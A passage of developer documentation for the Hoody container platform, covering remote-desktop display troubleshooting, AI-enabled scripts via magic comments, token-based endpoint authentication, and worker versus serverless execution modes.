// Full screenshot only when needed
const full = await fetch('.../screenshot/last');
```

Thumbnails are 320px wide vs full 1920px—dramatically less bandwidth.

### Disable Features for Performance

**Turn off unused features:**

```txt
?sound=false&printing=false&clipboard=false&file_transfer=false
```

Reduces bandwidth and CPU usage. Enable only what you need.

---

## Useful Questions

### Can I really run desktop applications on my phone?

Yes! Your phone's browser becomes a window into a full Linux desktop. Run VS Code, LibreOffice, GIMP, browsers—any GUI application. The phone isn't running the apps—it's displaying a desktop that runs in the container. The heavy lifting happens on your server.

### What's the difference between display-1, display-2, etc.?

Each number is a separate desktop environment. `display-1` might show VS Code, `display-2` shows monitoring tools, `display-3` shows browsers. Each isolated, each accessible via its own URL. One container can have multiple desktops.

### How does multiplayer actually work without conflicts?

The display protocol synchronizes state automatically. When User A types, it updates the display server, which broadcasts to all connected clients including User B. Input is serialized (one keystroke at a time), but visual updates are instant for everyone. Like Google Docs for desktops.

### Can AI agents control GUI applications?

Yes — fully. The Computer Use API provides complete programmatic mouse and keyboard control over HTTP. AI agents can: 1) Capture screenshots via `GET /screenshot` to see desktop state, 2) Move and click the mouse at exact coordinates, 3) Type text and press key combinations, 4) Manage windows (focus, resize, move, close), 5) Chain compound actions via `POST /api/v1/display/input/batch` for complex multi-step workflows. This is one of Hoody's most powerful capabilities — see [Computer Use API](#computer-use-api) below.

### What happens if my internet drops while using a display?

With `?reconnect=true` (default), the client automatically reconnects when your connection returns. The desktop keeps running on the server—you just lost the view temporarily. When reconnected, you see current state (not what it was when you disconnected).

### Do displays work on touch devices like tablets?

Yes! The HTML5 client adapts to touch input automatically. Tap = click, pinch = zoom, two-finger scroll = scroll. Virtual keyboard available via `?keyboard=true`. Full desktop control from touch-only devices.

### Can I customize colors and themes?

Extensively. Control: floating menu style, window decorations, toolbar visibility, dark mode. All via URL parameters. Build your perfect visual environment.

**See:** [UI Theming →](/api/displays/ui-theming/)

### How much bandwidth does a display session use?

Depends on encoding and activity. H264 video: 2-5 Mbps for smooth graphics. JPEG static updates: 100-500 Kbps. Configure via: `?encoding=jpeg&quality=60&bandwidth_limit=1000000` to cap at 1 Mbps.

### Can I embed displays in my application?

Absolutely! Use iframes to embed container displays directly. Common patterns: dashboards showing live server states, documentation with interactive examples, customer portals with diagnostic desktops.

### What's the latency for remote displays?

Keep in mind that this isn't our priority for now, but we promise total smoothness with Displays, soon. As of now, typically 50-200ms depending on distance to server and network quality. H264 encoding optimized for smooth interaction. Good enough for coding, document editing, web browsing—not recommended for gaming or high-frequency trading.

---

## Troubleshooting

### Display Won't Load or Shows Black Screen

**Check container is running:**
```bash
curl "https://api.hoody.icu/api/v1/containers/{container_id}?runtime=true" \
  -H "Authorization: Bearer $HOODY_TOKEN"
```

Verify `runtime_info.displays` shows active display with PID.

**Common causes:**

1. **Container stopped** - Start it:
   ```bash
   curl -X POST "https://api.hoody.icu/api/v1/containers/{container_id}/start" \
     -H "Authorization: Bearer $HOODY_TOKEN"
   ```

2. **Display service not started** - Wait 30-60 seconds after container start for services to initialize

3. **Wrong display number** - Check container's `runtime_info.displays` for available display IDs

### Connection Drops Frequently

**Enable reconnect:**
```txt
?reconnect=true
```

**Reduce quality for stability:**
```txt
?quality=50&encoding=jpeg&video=false
```

**Check network:**
- Test on different WiFi/cellular
- Verify server connectivity
- Check firewall isn't blocking WebSocket

### Keyboard Not Working or Keys Wrong

**For macOS users:**
```txt
?swap_keys=true&keyboard_layout=us
```

**For other layouts:**
```txt
?keyboard_layout=gb  # UK
?keyboard_layout=de  # German
?keyboard_layout=fr  # French
```

**Enable virtual keyboard on touch devices:**
```txt
?keyboard=true
```

### Clipboard Not Syncing

**Enable clipboard if disabled:**
```txt
?clipboard=true
```

**Check browser permissions:**
- Browser may block clipboard access
- Try different browser
- Grant clipboard permissions when prompted

**Some browsers restrict clipboard for security.** Copy/paste within the remote desktop always works.

### Poor Performance or Lag

**Optimize encoding:**
```txt
# Fast connection
?encoding=h264&quality=90

# Slow connection  
?encoding=jpeg&quality=40&video=false
```

**Reduce bandwidth:**
```txt
?bandwidth_limit=500000  # 500 Kbps max
```

**Disable high-bandwidth features:**
```txt
?sound=false&video=false
```

**Check server load:**
```bash
# Query system resources
GET /api/v1/system/resources
```

### Can't Take Control (Readonly)

**Check URL parameter:**
```txt
?readonly=false  # Enable control
```

**Verify permissions:**
- Display might have proxy permissions restricting control
- Check container's proxy-permissions configuration
- Try removing permissions temporarily for testing

### Multiple Users Conflict

**Use session sharing:**
```txt
?sharing=true&steal=false
```

**Without this:**
- `sharing=false` allows only one user
- `steal=true` (default) lets new users kick old ones out

**For collaboration, enable sharing.**

---

## What's Next

**Explore other visual services:**


  
    Chrome automation as REST API—control browsers programmatically, scrape data, run tests.
    
    [Explore Browser →](/kit/browser/)
  
  
  
    Execute shell commands via HTTP—your terminal as an API, accessible everywhere.
    
    [Explore Terminals →](/kit/terminals/)
  
  
  
    VS Code instances via HTTP—spawn IDEs on-demand, share coding sessions.
    
    [Explore Code →](/kit/code/)
  


**Master display configuration:**
- **[Web Client →](/api/displays/web-client/)** - All 50+ customization parameters
- **[Screenshots →](/api/displays/screenshots/)** - Programmatic desktop capture
- **[Session Sharing →](/api/displays/session-sharing/)** - Collaboration modes

---

> **Your desktop is a URL.**  
> **Access from any device.**  
> **Share instantly.**  
> **Embed everywhere.**

**This is how desktops work in the HTTP era.**

---

# AI-Powered Scripts

**Page:** kit/exec/ai-integration

[Download Raw Markdown](./kit/exec/ai-integration.md)

---

# AI-Powered Scripts

**Add `// @ai true` to any script and get AI superpowers.** No imports, no API key management, no SDK setup. The Vercel AI SDK helpers are injected directly into your script context — `generateText`, `streamText`, `generateObject` — ready to use with 300+ models via [Hoody AI](/foundation/hoody-ai/).

This is what happens when you combine "files are APIs" with "containers have AI access": **every script you write can be an AI-powered endpoint**.

---

## Enabling AI

Add the `@ai` magic comment to any script:

```javascript
// @mode serverless
// @ai true

const { text } = await generateText({
  model,
  prompt: 'Explain quantum computing in one sentence'
});

return { answer: text };
```

**That's it.** The script now has:
- `model` — Pre-configured AI model (from `@ai-model` or default)
- `openai` — OpenAI SDK client instance
- `ai` — Helper namespace (`ai.generate`, `ai.stream`, `ai.object`)
- `generateText()` — Generate text completion
- `streamText()` — Stream text responses
- `generateObject()` — Generate structured JSON objects

---

## AI Magic Comments

Control AI behavior with these magic comments:

| Comment | Values | Default | Description |
|---------|--------|---------|-------------|
| `@ai` | `true` \| `false` | `true` | Enable AI helpers |
| `@ai-model` | model name | `minimax/minimax-m2.5` | Which model to use |
| `@ai-temperature` | `0` - `2` | — | Creativity level (0 = deterministic, 2 = very creative). Provider default when unset |
| `@ai-max-tokens` | number | — | Maximum response length. Provider default when unset |
| `@ai-key` | string | server-configured | API key override (default from server's `--ai-key` flag) |

**The `@ai-model` value** uses [Hoody AI model identifiers](/foundation/hoody-ai/models/) in `provider/model` format:

```javascript
// @ai-model anthropic/claude-sonnet-4.5    // Anthropic Claude
// @ai-model openai/gpt-4o                  // OpenAI GPT-4o
// @ai-model google/gemini-2.5-pro          // Google Gemini
// @ai-model meta-llama/llama-3.3-70b       // Meta Llama
// @ai-model mistralai/mistral-large        // Mistral
```

---

## Injected AI Helpers

When `@ai true` is set, these are automatically available in your script:

### `openai` — OpenAI SDK Client

A pre-configured [OpenAI SDK](https://www.npmjs.com/package/openai) client instance. Connects to the Hoody AI gateway (default: `https://ai.hoody.icu/api/v1`) using a server-configured API key — no manual setup required.

```javascript
// @ai true

// Use the OpenAI SDK directly for full control
const completion = await openai.chat.completions.create({
  model: 'minimax/minimax-m2.5',
  messages: [{ role: 'user', content: 'Hello!' }]
});

return { reply: completion.choices[0].message.content };
```

### `model` — Pre-Configured AI Model

A pre-configured Vercel AI SDK model instance from the [`@ai-sdk/openai`](https://www.npmjs.com/package/@ai-sdk/openai) package. Uses the model name from `@ai-model` (default: `minimax/minimax-m2.5`). Pass this to `generateText`, `streamText`, or `generateObject`.

```javascript
// @ai true
// @ai-model anthropic/claude-sonnet-4.5

// `model` is already configured with the above model
const { text } = await generateText({ model, prompt: 'Hello!' });
```

### `ai` — Helper Namespace

A high-level helper namespace that wraps common AI operations. Provides three convenience methods built on top of the Vercel AI SDK:

- **`ai.generate(options)`** — Generate a complete text response (wraps `generateText`)
- **`ai.stream(options)`** — Stream text chunks as they are produced (wraps `streamText`)
- **`ai.object(options)`** — Generate structured JSON validated against a schema (wraps `generateObject`)

```javascript
// @ai true

const { text } = await ai.generate({ prompt: 'Hello!' });
const { textStream } = await ai.stream({ prompt: 'Write a poem' });
const { object } = await ai.object({ schema, prompt: 'Classify this' });
```

### `generateText(options)` — Text Completion

Generate a complete text response. Returns when the full response is ready.

**Options:** `{ prompt?, messages?, model?, system?, temperature?, maxTokens? }`

```javascript
// @ai true
// @ai-model anthropic/claude-sonnet-4.5

const { text } = await generateText({
  model,
  prompt: 'Write a haiku about HTTP'
});

return { haiku: text };
```

### `streamText(options)` — Streaming Responses

Stream text response chunks as they are generated. Ideal for long responses or real-time UIs.

**Options:** `{ prompt?, messages?, model?, system?, temperature?, maxTokens? }`

```javascript
// @ai true
// @ai-model anthropic/claude-sonnet-4.5
// @timeout 60000

const { textStream } = await streamText({
  model,
  prompt: req.body.question
});

// Stream back to client
res.writeHead(200, { 'Content-Type': 'text/plain' });
for await (const chunk of textStream) {
  res.write(chunk);
}
res.end();
```

### `generateObject(options)` — Structured JSON Output

Generate structured JSON that matches a provided schema. The AI response is validated against the schema automatically.

**Options:** `{ prompt?, messages?, model?, schema, system?, temperature?, maxTokens? }`

```javascript
// @ai true
// @ai-model anthropic/claude-sonnet-4.5

const { object } = await generateObject({
  model,
  schema: {
    type: 'object',
    properties: {
      sentiment: { type: 'string', enum: ['positive', 'negative', 'neutral'] },
      confidence: { type: 'number' },
      keywords: { type: 'array', items: { type: 'string' } }
    }
  },
  prompt: `Analyze the sentiment of: "${req.body.text}"`
});

return object;
// → { sentiment: 'positive', confidence: 0.92, keywords: ['great', 'love'] }
```

---

## AI Configuration Defaults

When `@ai true` is enabled, the following defaults are applied:

| Setting | Default | Override |
|---------|---------|----------|
| **AI URL** | `https://ai.hoody.icu/api/v1` | Server-launch `--ai-url` flag |
| **Model** | `minimax/minimax-m2.5` | `@ai-model` magic comment |
| **API Key** | Server-configured default (via `--ai-key` flag) | `@ai-key` magic comment |
| **Temperature** | Provider default | `@ai-temperature` magic comment |
| **Max Tokens** | Provider default | `@ai-max-tokens` magic comment |

Override any per-script default with the corresponding magic comment:

```javascript
// @ai true
// @ai-model openai/gpt-4o
// @ai-key sk-custom-key-here
// @ai-temperature 0.3
// @ai-max-tokens 2048
```

---

## Error Handling

AI calls respect the script's `@timeout` setting. If the AI provider takes longer than the configured timeout, the request will be terminated.

```javascript
// @ai true
// @timeout 30000  // AI call must complete within 30 seconds

const { text } = await generateText({
  model,
  prompt: req.body.question
});

return { answer: text };
```

There is **no automatic retry** for failed AI calls. If you need retry logic, implement it in your script:

```javascript
// @ai true
// @timeout 60000

async function withRetry(fn, retries = 3) {
  for (let i = 0; i < retries; i++) {
    try {
      return await fn();
    } catch (err) {
      if (i === retries - 1) throw err;
    }
  }
}

const { text } = await withRetry(() =>
  generateText({ model, prompt: req.body.question })
);

return { answer: text };
```

---

## Validating AI Magic Comments

To validate AI-related magic comments without executing a script, use the magic comments validation endpoint:

```bash
curl -s -X POST "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/validate/magic-comments" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "// @ai true\n// @ai-model openai/gpt-4o\n// @ai-temperature 0.5\nreturn {};"
  }'
```

You can also retrieve the full magic comments schema (including all `@ai-*` directives) with:

```bash
curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/magic-comments/schema"
```

---

## Building AI-Powered APIs

### Text Summarizer

```javascript
// api/summarize.ts
// @mode serverless
// @ai true
// @ai-model anthropic/claude-sonnet-4.5
// @ai-temperature 0.3
// @cors reflective
// @timeout 30000

if (!req.body?.content) {
  res.statusCode = 400;
  return { error: 'Missing content field' };
}

const { text } = await generateText({
  model,
  prompt: `Summarize the following text in 2-3 sentences:\n\n${req.body.content}`
});

return {
  summary: text,
  originalLength: req.body.content.length,
  summaryLength: text.length
};
```

### Content Classifier

```javascript
// api/classify.ts
// @mode serverless
// @ai true
// @ai-model minimax/minimax-m2.5
// @ai-temperature 0
// @cors reflective

const { object } = await generateObject({
  model,
  schema: {
    type: 'object',
    properties: {
      category: { type: 'string', enum: ['bug', 'feature', 'question', 'docs', 'other'] },
      priority: { type: 'string', enum: ['low', 'medium', 'high', 'critical'] },
      summary: { type: 'string' }
    }
  },
  prompt: `Classify this support ticket:\n\n${req.body.ticket}`
});

return object;
```

### Streaming Chatbot

```javascript
// api/chat.ts
// @mode serverless
// @ai true
// @ai-model anthropic/claude-sonnet-4.5
// @ai-temperature 0.7
// @ai-max-tokens 2048
// @cors reflective
// @timeout 60000

const messages = req.body.messages || [];

const { textStream } = await streamText({
  model,
  messages: [
    { role: 'system', content: 'You are a helpful assistant. Be concise.' },
    ...messages
  ]
});

// Stream Server-Sent Events
res.writeHead(200, {
  'Content-Type': 'text/event-stream',
  'Cache-Control': 'no-cache',
  'Connection': 'keep-alive'
});

for await (const chunk of textStream) {
  res.write(`data: ${JSON.stringify({ text: chunk })}\n\n`);
}

res.write('data: [DONE]\n\n');
res.end();
```

---

## AI MITM Pattern

One of the most powerful patterns: use a `hoody-exec` worker script as a **MITM (Man-In-The-Middle) proxy** for AI requests. Intercept, analyze, modify, block, or enhance every AI interaction.

**The simplicity:** Deploy a MITM script once, then **just change the URL in your AI client**:

```
Without MITM: https://ai.hoody.icu/api/v1
With MITM:    https://your-project-container-exec-1.node-us.containers.hoody.icu/api/v1
```

**What you gain:**
- **Tool Call Tampering** — Redirect file writes, block dangerous commands
- **Human-in-the-Loop** — Pause AI for approval on high-stakes operations
- **Cost Optimization** — Compress prompts, cache responses, route to cheaper models
- **Context Injection** — Auto-enhance prompts with your knowledge base
- **Complete Observability** — Log every prompt, response, and decision

**See [Hoody AI Intercept & Control](/foundation/hoody-ai/mitm/) for the complete MITM guide with full examples.**


AI MITM (above) is **client-initiated** — your AI client points its `base_url` at `hoody-exec`. [Proxy Hooks](/foundation/proxy/hooks/) are **proxy-initiated** — you register JavaScript handlers in your container's permissions document, and the Hoody Proxy dispatches matching traffic (any service, not just AI) through `hoody-exec` on your behalf. Both run inside the same tenant-owned `hoody-exec` with identical privileges; pick the pattern that matches who decides to intercept.


---

## What's Next

---

# Authentication

**Page:** kit/exec/authentication

[Download Raw Markdown](./kit/exec/authentication.md)

---

# Authentication

**Add one comment. Your endpoint is protected.** No middleware, no auth library, no JWT infrastructure. Hoody Exec's `@token` magic comment adds shared-secret authentication to any script — HTTP and WebSocket.

```javascript
// @token my-secret-key-123

return { data: 'only authenticated requests see this' };
```

Unauthenticated requests get `401 Unauthorized`. Authenticated requests run your script normally. That's it.

---

## How It Works

1. You add `// @token <secret>` at the top of your script
2. Every incoming request is checked for a matching token **before** your code runs
3. If the token matches → script executes normally
4. If the token is missing or wrong → `401 Unauthorized` (your code never runs)

The token check happens at the server level, before VM creation and metadata construction. There is no way for a script to see or override the gate.

---

## Credential Methods

Clients can provide the token four different ways. All are checked automatically — the first match wins.

### Priority Order

| Priority | Method | Header / Parameter |
|----------|--------|--------------------|
| 1a | **Bearer token** | `Authorization: Bearer <token>` |
| 1b | **Basic auth** (password field) | `Authorization: Basic base64(user:token)` |
| 2 | **X-Token header** | `X-Token: <token>` |
| 3 | **Query parameter** | `?token=<token>` |

If multiple sources are present, only the highest-priority one is used. For example, if both `Authorization: Bearer` and `X-Token` are sent, only the Bearer value is checked.

---

### Bearer Token

The standard approach for API clients and SDKs.



```bash
curl -H "Authorization: Bearer my-secret-key-123" \
  "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data"
```


```javascript
const res = await fetch('https://your-endpoint.containers.hoody.icu/api/data', {
  headers: { 'Authorization': 'Bearer my-secret-key-123' }
});
```


```python
import requests
res = requests.get('https://your-endpoint.containers.hoody.icu/api/data',
    headers={'Authorization': 'Bearer my-secret-key-123'})
```



The scheme name is case-insensitive (`Bearer`, `bearer`, `BEARER` all work).

---

### Basic Auth

The `@token` value is matched against the **password** field of HTTP Basic auth. The username is completely ignored — send anything or nothing.

This means `@token` works out-of-the-box with:
- `curl -u` flag
- Browser native auth dialogs
- HTTP clients that only support Basic auth
- Legacy systems and webhook integrations



```bash
# Username "admin", password is the token — username is ignored
curl -u admin:my-secret-key-123 \
  "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data"
```


```bash
# No username, just the token as password
curl -u :my-secret-key-123 \
  "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data"
```


```bash
# Any username works — only the password matters
curl -u monitoring-bot:my-secret-key-123 \
  "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data"
```




Basic auth is transmitted as `base64(username:password)`. The server decodes it, finds the colon, and extracts everything after it as the token. Passwords containing colons work fine — only the **first** colon is used as the delimiter.


---

### X-Token Header

A simple custom header — useful when `Authorization` is reserved by a proxy or gateway.

```bash
curl -H "X-Token: my-secret-key-123" \
  "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data"
```

---

### Query Parameter

Pass the token in the URL. Convenient for quick testing, webhook callbacks, and browser links.

```bash
curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/data?token=my-secret-key-123"
```


Query parameters appear in server logs, browser history, and Referer headers. For production use, prefer `Authorization: Bearer` or `X-Token` headers. Hoody Exec redacts `?token=` from all logs, but external proxies and CDNs may not.


---

## Rejection Response

When authentication fails, the server returns:

```json
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="hoody-exec"
Content-Type: application/json

{
  "error": "Unauthorized",
  "message": "This endpoint requires authentication. Provide a valid token via Authorization: Bearer <token> header, X-Token header, ?token= query parameter, or HTTP Basic Auth."
}
```

- **`WWW-Authenticate: Bearer`** — triggers native auth dialogs in browsers
- Same response body whether the token is missing or wrong (no information leakage)
- If CORS is configured on the script (`@cors`), CORS headers are included in the 401 response

---

## CORS + Token

When using `@token` with `@cors`, CORS preflight requests (`OPTIONS`) are handled **before** the token check:

```javascript
// @token my-secret-key-123
// @cors reflective

return { data: 'protected + CORS-enabled' };
```

**Why:** Browsers automatically send an `OPTIONS` preflight before cross-origin requests. Preflight requests cannot carry credentials — that's the HTTP spec. If the server required a token on the preflight, CORS would be completely broken.

**What happens:**
1. Browser sends `OPTIONS` with `Origin` + `Access-Control-Request-Method` → server returns `204` with CORS headers (no token required)
2. Browser sends the real `GET`/`POST` with `Authorization: Bearer <token>` → server checks token, runs script

This is spec-correct behavior, not a bypass.

---

## WebSocket Authentication

The `@token` gate also protects WebSocket connections. The check runs on the HTTP `upgrade` request before the WebSocket handshake completes.

```javascript
// @token my-secret-key-123
// @mode worker
// @websocket

ws.on('message', (socket, data) => socket.send('echo:' + data));
```

**Connect with token:**



```javascript
// Works in all WebSocket clients (including browsers)
const ws = new WebSocket('wss://your-endpoint.containers.hoody.icu/ws?token=my-secret-key-123');
```


```javascript
// Node.js / Bun (browsers don't allow custom WebSocket headers)
const ws = new WebSocket('wss://your-endpoint.containers.hoody.icu/ws', {
  headers: { 'Authorization': 'Bearer my-secret-key-123' }
});
```



Without a valid token, the server writes `HTTP/1.1 401 Unauthorized` to the socket and closes the connection. The WebSocket `onerror` / `onclose` event fires on the client.


Browser WebSocket APIs do not support custom headers. For browser clients, use `?token=` in the WebSocket URL. For server-to-server connections, Bearer or X-Token headers work.


---

## Security Details

### Constant-Time Comparison

Token comparison uses SHA-256 hashing on both sides followed by `crypto.timingSafeEqual`:

```
SHA-256(provided) === SHA-256(expected)  // constant-time
```

This prevents timing attacks — the comparison takes the same amount of time regardless of how many characters match.

### Token Redaction

The token value is **never exposed** in any API response or log:

| Surface | Redaction |
|---------|-----------|
| Access logs | `?token=` replaced with `?token=[REDACTED]` |
| Referer headers in logs | `?token=` redacted |
| Scripts API (`/api/v1/exec/scripts/read`) | Raw content shows `// @token [REDACTED]` |
| Magic Comments API | `token` field returns `[REDACTED]` |
| `metadata.parameters` in your script | `?token=` query param is **removed** before your code runs |
| Encoded bypass attempts (`%74oken=`) | Caught by URL-parser fallback and redacted |

### Token Isolation

When a client authenticates via `?token=`, the token is immediately stripped from the request URL. Your script never sees it:

```javascript
// @token my-secret

// Client calls: /api/data?token=my-secret&page=2
// Your script sees:
metadata.parameters  // → { page: "2" }  (no "token" key)
metadata.path        // → /api/data       (clean)
```

---

## Examples

### Protect an API endpoint

```javascript
// @token sk_prod_a8f2e9c1d4b6
// @cors reflective

const userId = metadata.parameters.id;
const user = await db.getUser(userId);
return user;
```

### Webhook receiver with token

```javascript
// @token whsec_github_abc123

if (req.method !== 'POST') {
  res.statusCode = 405;
  return { error: 'Method Not Allowed' };
}

const payload = JSON.parse(await req.text());
await processWebhook(payload);
return { received: true };
```

```bash
# GitHub webhook configured with:
# URL: https://your-endpoint.containers.hoody.icu/webhooks/github?token=whsec_github_abc123
```

### Token + Worker mode + WebSocket

```javascript
// @token realtime-secret-456
// @mode worker
// @websocket
// @cors reflective

if (!shared.connections) shared.connections = new Set();

ws.on('open', (socket) => shared.connections.add(socket));
ws.on('close', (socket) => shared.connections.delete(socket));
ws.on('message', (socket, data) => {
  // Broadcast to all connected clients
  for (const client of shared.connections) {
    if (client !== socket) client.send(data);
  }
});
```

### Programmatic management


  
    ```bash
    # Read magic comments (token is redacted in response)
    hoody exec magic-comments read --path "api/data.ts"
    # → { "token": "[REDACTED]", "cors": "reflective" }
    ```
  
  
    ```typescript
    const containerClient = await client.withContainer({
      id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER
    });

    // Read magic comments (token is redacted)
    const comments = await containerClient.exec.magic.read({ path: 'api/data.ts' });
    console.log(comments.data.comments); // { token: "[REDACTED]", cors: "reflective" }

    // Update the token
    await containerClient.exec.magic.updateHandler({
      path: 'api/data.ts',
      comments: '{"token": "new-secret-key"}'
    });
    ```
  
  
    ```bash
    # Read magic comments (token is redacted in response)
    curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/magic-comments/read?path=api/data.ts"
    # → { "comments": { "token": "[REDACTED]", "cors": "reflective" } }

    # Update token via API
    curl -X PUT "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/magic-comments/update" \
      -H "Content-Type: application/json" \
      -d '{ "path": "api/data.ts", "comments": "{\"token\": \"new-secret-key\"}" }'
    ```
  


---

## What's Next

---

# Execution Modes

**Page:** kit/exec/execution-modes

[Download Raw Markdown](./kit/exec/execution-modes.md)

---

# Execution Modes

**One decision changes everything.** Every Hoody Exec script declares an execution mode that fundamentally determines how it runs. Choose wisely — it affects state, performance, concurrency, and capabilities.

---

## Worker Mode — Persistent & Stateful

```javascript
// @mode worker
```

**Think**: Long-running Node.js server that never restarts.

Worker mode creates a **persistent V8 isolate** that stays alive across all requests. The `shared` object acts as your in-memory store — write to it once, read it forever (until container restart).

### Features

- **Persistent VM** — Created once, runs forever
- **Shared State** — `shared` object persists across all requests
- **WebSocket Support** — Required for real-time connections
- **No Concurrency Limits** — Handle unlimited simultaneous requests
- **Pre/Post Middleware** — `pre.js` and `post.js` wrap requests matching a script in the same directory
- **Zero Cold Start** — VM is already warm

### Limitations

- State lost on container restart (use SQLite for persistence)
- Higher memory usage (persistent VM overhead)

### Perfect For

- WebSocket servers (chat, live dashboards, real-time updates)
- Session management and caching
- High-traffic APIs (no cold starts)
- Rate limiting with per-IP tracking
- **Hoody AI interception** (MITM proxy for controlling AI requests)
- Any scenario where you need state that survives across requests

---

## Serverless Mode — Isolated & Fresh

```javascript
// @mode serverless  // or omit (default)
```

**Think**: AWS Lambda, Vercel Functions, Cloudflare Workers.

Serverless mode creates a **brand new V8 isolate** for every single request. Complete isolation between requests — no state leakage, no shared memory, no side effects.

### Features

- **Fresh Context** — Brand new VM for every request
- **Complete Isolation** — Zero state leakage between requests
- **Concurrency Control** — `@concurrent 5` limits parallel execution
- **Lower Memory** — No persistent VM overhead
- **Safer for Untrusted Code** — Better isolation guarantees

### Limitations

- No WebSocket support (no persistent connections)
- No shared state across requests
- Slight overhead per request (VM creation)

### Perfect For

- Webhook receivers (Stripe, GitHub, Slack)
- Isolated tasks (data processing, API calls)
- Sporadic traffic (pay-per-execution model)
- Stateless microservices
- Untrusted user scripts (better isolation)
- Any scenario where isolation matters more than performance

---

## Shared State

The `shared` object is available in both modes but behaves **very differently**:


  
```javascript
// @mode worker

// Initialize on first request
if (!shared.requestCount) {
  shared.requestCount = 0;
  shared.users = new Map();
  shared.sessions = new Set();
}

shared.requestCount++;  // Persists across ALL requests
shared.users.set(userId, userData);

return {
  count: shared.requestCount,      // Increments: 1, 2, 3, 4...
  cachedUsers: shared.users.size,  // Accumulates over time
  activeSessions: shared.sessions.size
};
```
  
  
```javascript
// @mode serverless

// This ALWAYS starts fresh
if (!shared.requestCount) {
  shared.requestCount = 0;  // Runs EVERY request
}

shared.requestCount++;  // Always equals 1 (resets each time)

return {
  count: shared.requestCount  // Always returns 1
};
```
  


**Key differences:**
- **Worker**: `shared` persists between requests → perfect for caching, counters, sessions
- **Serverless**: `shared` resets every request → no persistence benefit, use for request-scoped temp data
- **Both modes**: `shared` lost on container restart/reboot → use SQLite for permanent storage

### Shared State Persistence Details

Shared state is **in-memory only**, scoped per hostname (each exec instance has its own `shared` object). There is no automatic TTL — values persist for the entire lifetime of the server process. This means:

- Data stays in `shared` until explicitly deleted or the container restarts
- There is no expiration mechanism — implement your own if needed
- For long-running workers, **explicitly clean up stale data** to prevent unbounded memory growth

```javascript
// @mode worker
// Explicit cleanup pattern for long-running workers
if (!shared.cache) shared.cache = new Map();

// Add with timestamp
shared.cache.set(key, { value: data, createdAt: Date.now() });

// Periodic cleanup (e.g., remove entries older than 1 hour)
const ONE_HOUR = 3600000;
for (const [k, v] of shared.cache) {
  if (Date.now() - v.createdAt > ONE_HOUR) shared.cache.delete(k);
}
```

### State Loss on Restart

Shared state is **lost on container restart** — this is by design. The `shared` object lives entirely in memory. If you need data to survive restarts:

- **SQLite** — Use the bundled `Database` (Bun.Database) for structured persistent storage
- **External databases** — Connect to external services for critical data
- **File system** — Write to `/hoody/storage/` for simple persistence

```javascript
// @mode worker
// Persist critical data to SQLite
const db = new Database('/hoody/databases/app.db');
db.run('CREATE TABLE IF NOT EXISTS sessions (id TEXT, data TEXT, created INTEGER)');

// Use shared for fast access, SQLite for durability
if (!shared.sessions) {
  // Restore from SQLite on first request after restart
  shared.sessions = new Map();
  const rows = db.query('SELECT id, data FROM sessions').all();
  for (const row of rows) {
    shared.sessions.set(row.id, JSON.parse(row.data));
  }
}
```

---

## Cold Start Behavior

The execution mode directly affects startup latency:

**Serverless mode** — Every request creates a fresh V8 isolate. There is a small overhead for VM creation and script compilation on each request. This is the "cold start" cost, similar to AWS Lambda or Cloudflare Workers.

**Worker mode** — Only the first request incurs the VM creation cost. After that, the persistent VM stays warm and all subsequent requests have **zero cold start**. The VM remains active until the container restarts.

| | First Request | Subsequent Requests |
|---|---|---|
| **Serverless** | VM creation + compilation | VM creation + compilation (same cost every time) |
| **Worker** | VM creation + compilation | Zero overhead (VM already warm) |

For latency-sensitive endpoints handling frequent traffic, worker mode eliminates cold start entirely.

---

## Memory Considerations

Worker mode's persistent VM retains **all variables** between requests. This is powerful but requires awareness:

- **Memory accumulates** — Every `Map`, `Set`, array, or object added to `shared` (or any persistent variable) stays in memory
- **No automatic garbage collection of shared data** — Only unreferenced local variables are GC'd between requests
- Growing arrays or maps indefinitely will eventually consume all available memory

### Monitoring Memory Usage

Use the monitoring endpoint to track memory consumption:

```bash
curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/api/v1/exec/monitor/stats"
```

Response includes:
```json
{
  "memory": {
    "used": 52428800,
    "total": 268435456,
    "percentage": 19.5
  }
}
```

### Cleanup Strategies

```javascript
// @mode worker

// 1. Cap collection sizes
if (shared.logs && shared.logs.length > 1000) {
  shared.logs = shared.logs.slice(-500); // Keep last 500
}

// 2. Use the cache clear API for full reset
// POST /api/v1/exec/cache/clear

// 3. Avoid patterns that grow indefinitely
// BAD: shared.allRequests.push(req) — grows forever
// GOOD: shared.recentRequests = shared.recentRequests.slice(-100)
```


If your worker script accumulates data in `shared` or module-level variables without cleanup, memory usage will grow with each request. Use `GET /api/v1/exec/monitor/stats` to monitor memory and `POST /api/v1/exec/cache/clear` for periodic cleanup.


---

## WebSocket Support (Worker Mode Only)

Enable real-time bidirectional communication with two magic comments:

```javascript
// @mode worker
// @websocket
// @cors reflective

// Serve HTML UI for HTTP requests (optional)
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end('<h1>WebSocket Server</h1>');

// WebSocket handlers (Direct Assignment Pattern)
ws.message = (socket, data) => {
  console.log('Received:', data);
  ws.broadcast(data); // Send to all clients
};

ws.close = (socket, code, reason) => {
  console.log('Client disconnected');
};

// OR use Event Emitter Pattern:
ws.on('message', (socket, data) => {
  socket.send('Echo: ' + data);
});
```

**Connection tracking:**
```javascript
console.log('Active connections:', ws.connections.size);
```


WebSocket requires **both** `// @mode worker` **and** `// @websocket`. Serverless mode cannot support WebSocket — it creates a fresh VM per request with no persistent connections.


---

## Complete Real-World Examples


  

**Worker Mode** (with shared state caching):
```javascript
// api/users/[id].ts
// @mode worker
// @cors reflective
// @timeout 5000
// @log-level standard

// Initialize cache on first request
if (!shared.usersCache) {
  shared.usersCache = new Map();
